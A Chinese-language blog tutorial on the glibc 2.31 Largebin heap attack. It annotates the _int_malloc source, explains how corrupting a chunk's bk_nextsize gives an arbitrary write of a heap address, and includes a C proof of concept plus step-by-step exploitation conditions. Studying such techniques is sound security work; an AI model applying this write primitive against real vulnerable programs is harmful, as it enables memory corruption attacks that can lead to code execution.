Largebin Attack原理详解

本文详细解析了Linux Glibc内存管理中的Largebin攻击原理,通过代码分析展示了攻击过程。首先介绍了攻击所需的条件,即能够修改Largebin的bk_nextsize字段。然后逐步阐述了攻击步骤,包括内存分配、释放、修改指针等操作,最终实现对特定内存地址的写入。概念验证代码证明了攻击的有效性。总结了Largebin攻击的利用条件和步骤,强调了内存管理安全的重要性。
摘要由CSDN通过智能技术生成

0x0 简介

攻击成效:能够向任意地址写堆地址,常配合其他攻击手法实现 getshell

条件:能够修改 L a r g e b i n − > b k \textcolor{orange}{Largebin->bk} Largebin>bk

研究环境: G l i b c 2.31 \textcolor{green}{研究环境:Glibc2.31} 研究环境:Glibc2.31

0x1 原理

static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
      if (!checked_request2size (bytes, &nb))
      {
          __set_errno (ENOMEM);
          return NULL;
      }    
  ...
      for (;; )
      {
          int iters = 0;
          // 如果unsortedbin不为空
          while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
          {
              // victim是当前unsortedbin中的第一个块
              bck = victim->bk;
              size = chunksize (victim);
              mchunkptr next = chunk_at_offset (victim, size);

              ...
                  /* victim从unsortedbin中摘除 */
                  if (__glibc_unlikely (bck->fd != victim))
                      malloc_printerr ("malloc(): corrupted unsorted chunks 3");
              unsorted_chunks (av)->bk = bck;
              bck->fd = unsorted_chunks (av);

              ...
                  /* place chunk in bin */
                  // 判断victim的大小是否属于smallbin
                  if (in_smallbin_range (size))
                  {
                      victim_index = smallbin_index (size);
                      bck = bin_at (av, victim_index);
                      fwd = bck->fd;
                  }
              else
              {
                  victim_index = largebin_index (size);
                  // bck是Largebin中的第一个chunk
                  bck = bin_at (av, victim_index);
                  //  在Largebin中只有一个块的时候,fwd指向的是Largebin链表头
                  fwd = bck->fd;

                  /* maintain large bins in sorted order */
                  // 如果largebin不为空,则维护largebin的顺序性(小到大)
                  if (fwd != bck)
                  {
                      /* Or with inuse bit to speed comparisons */
                      size |= PREV_INUSE;
                      /* if smaller than smallest, bypass loop below */
                      assert (chunk_main_arena (bck->bk));
                      /* 
                        chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小
					  size则是的unsortedbin中第一个chunk的大小
			  		*/
                      if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
                      {
                          fwd = bck;
                          bck = bck->bk;

                          victim->fd_nextsize = fwd->fd;
                          victim->bk_nextsize = fwd->fd->bk_nextsize;
                          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                      }
                      else
                      {
                          ...
                      }
                  }
                  else
                      // 将victim视作largebin中的块
                      victim->fd_nextsize = victim->bk_nextsize = victim;
              }
              // 将victim放入相应的bin链表中
              mark_bin (av, victim_index);
              victim->bk = bck;
              victim->fd = fwd;
              fwd->bk = victim;
              bck->fd = victim;
              ...
          }
}

以上代码片段是系统根据用户请求内存分配的大小对 unsortedbin 的操作,此时只要 Largebin不为空 @line:48,并且处于 unsortedbin中的块大小属于 Largebin的范畴同时还要小于 Largebin中的块大小,就会将 unsortedbin中的块链入Largebin 对应的链表中 @line:58@line:77并调整顺序。

注意: L a r g e b i n 是以 f d _ n e x t s i z e 和 b k _ n e x t s i z e 组织成双向链表的。 \textcolor{green}{注意:Largebin是以 fd\_nextsize 和 bk\_nextsize组织成双向链表的。} 注意:Largebin是以fd_nextsizebk_nextsize组织成双向链表的。

@line:60 开始就是关键操作,bckLargebin中的第一个块,记为 chunk1victimeunsortedbin中的第一个 块,记为 chunk2,假设攻击者之前已经修改成 c h u n k 1 − > b k _ n e x t s i z e = T a r g e t − 0 x 20 \textcolor{orange}{chunk1->bk\_nextsize=Target-0x20} chunk1>bk_nextsize=Target0x20,那么链入操作就变成了

fwd = chunk1;
bck = *(chunk1 + 0x18); // 在Largebin中只有一个块的时候,bck指向的是Largebin链表头
*(chunk2 + 0x20) = *(chunk1 + 0x10); // 在Largebin中只有一个块的时候,chunk2 + 0x20指向的是Largebin链表头
*(chunk2 + 0x28) = *(*(chunk1 + 0x10) + 0x28); // chunk2 + 0x28指向的是Target-0x20
*(*(chunk1 +0x10) + 0x28) =  *(*(chunk2 + 0x28) + 0x20) = chunk2; // <=> *(Target-0x20+0x20) = chunk2; 

结果就是 Target指向的地址被写入了 chunk2的地址,这就是 Largebin attack的核心原理!

0x2 概念验证

为了直观的演示这个利用过程,我编写了如下概念验证的代码

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

size_t g_Target = 0xABCDEF20220807;
int main()
{
    puts(" ========================================================================");
    puts("|                    Wellcome to the Largebin Attack                     |");
    puts(" ========================================================================");
    
    printf("\n[*] Info:\n");
    printf("[+] Target addr = %p, value: %lx\n",&g_Target,g_Target);

    char* large_chunk1 = (char*)malloc(0x450);
    char* pad1 = (char*)malloc(0x20);
    char* large_chunk2 = (char*)malloc(0x440);
    char* pad2 = (char*)malloc(0x20);

    printf(
        "[+] large_chunk1 addr = %p\n"
        "[+] pad1 addr = %p\n"
        "[+] large_chunk2 addr = %p\n"
        "[+] pad2 addr = %p\n",
        large_chunk1,
        pad1,
        large_chunk2,
        pad2);
    puts("--------------------------------------------------------------------------");
    puts("[*] Step1: Free large_chunk1 into largebin.\n");
    free(large_chunk1);
    char* pad3 = (char*)malloc(0x500);
    printf("[+] pad3 addr = %p",pad3);

    puts("--------------------------------------------------------------------------");
    puts("[*] Step2: Free large_chunk2 into unsortedbin.\n");
    free(large_chunk2);

    puts("--------------------------------------------------------------------------");
    puts("[*] Step3: Modify Largbin[0]->bk_nextsize = g_Target-0x20.\n");
    *(size_t*)(large_chunk1+0x18)=((size_t)&g_Target)-0x20;
    
    puts("--------------------------------------------------------------------------");
    puts("[*] Step4: Trigger largebin attack.\n");
    char* p1 = (char*)malloc(0x20);

    puts("--------------------------------------------------------------------------");
    printf("[*] Lookup: Target value = %lx\n",g_Target);

    return 0;
}

试着运行之后发现我们成功地完成了一次对 Target内存的Largebin attack!

在这里插入图片描述

0x3 总结

现在总结一下Largebin attack的一些利用条件和步骤。

【利用条件】:

  1. 能够修改 Largebin 中的块的 bk_nextsize 字段。
  2. 程序中至少能够分配三种属于 Largebin的不同大小的块。

【利用步骤】:

  1. 分配一块大小 size1Largebin 范围内的块 chunk1
  2. 分配一块任意大小的块 pad1,主要防止在释放 chunk1 时系统将其与 top chunk合并。
  3. 分配一块大小 size2 在 Largebin 范围内的块 chunk2,要求 s i z e 2 < s i z e 1 \textcolor{orange}{size2<size1} size2<size1
  4. 分配一块任意大小的块 pad2,主要防止在释放 chunk2 时系统将其与 top chunk合并
  5. 释放 chunk1,此时系统会将其放入 unsortedbin;再分配一个 size3 的块,要求 s i z e 3 > s i z e 1 \textcolor{orange}{size3>size1} size3>size1,此时系统就会将 chunk1 放进 Largebin中。
  6. 释放 chunk2进入 unsortedbin
  7. 修改 c h u n k 1 − > b k _ n e x t s i z e   =   T a r g e t   −   0 x 20 \textcolor{orange}{chunk1->bk\_nextsize\ =\ Target\ -\ 0x20} chunk1>bk_nextsize = Target  0x20
  8. 随意分配一个大小的块,就会触发Largebin attack。
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值